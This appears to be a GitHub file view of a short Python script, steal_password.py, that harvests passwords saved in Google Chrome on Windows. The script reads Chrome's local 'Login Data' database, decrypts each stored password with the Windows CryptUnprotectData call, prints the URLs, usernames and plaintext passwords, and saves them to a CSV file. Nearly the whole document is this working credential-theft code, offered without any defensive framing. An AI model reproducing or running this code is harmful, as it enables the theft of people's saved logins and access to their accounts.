-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsteal_password.py
33 lines (23 loc) · 947 Bytes
/
steal_password.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sqlite3
import os
import pandas as pd
import win32crypt
if not os.path.isdir(os.environ.get('USERNAME')):
os.makedirs(os.environ.get('USERNAME'))
user_path = os.curdir + '/' + os.environ.get('USERNAME') + '/'
data_path = os.path.expanduser('~') + '/AppData/Local/Google/Chrome/User Data/Default'
login_db = os.path.join(data_path, 'Login Data')
c = sqlite3.connect(login_db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)
data = cursor.fetchall()
df_pwd = pd.DataFrame(data,columns=['url', 'name','pwd_data'])
password = []
for url , name , pwd in data:
password.append(win32crypt.CryptUnprotectData(pwd, None, None, None, 0))
df_pwd['passwords'] = password
del df_pwd['pwd_data']
path_save = os.curdir + '/' + os.environ.get('USERNAME') + '/' +'password.csv'
print(df_pwd)
df_pwd.to_csv(path_save)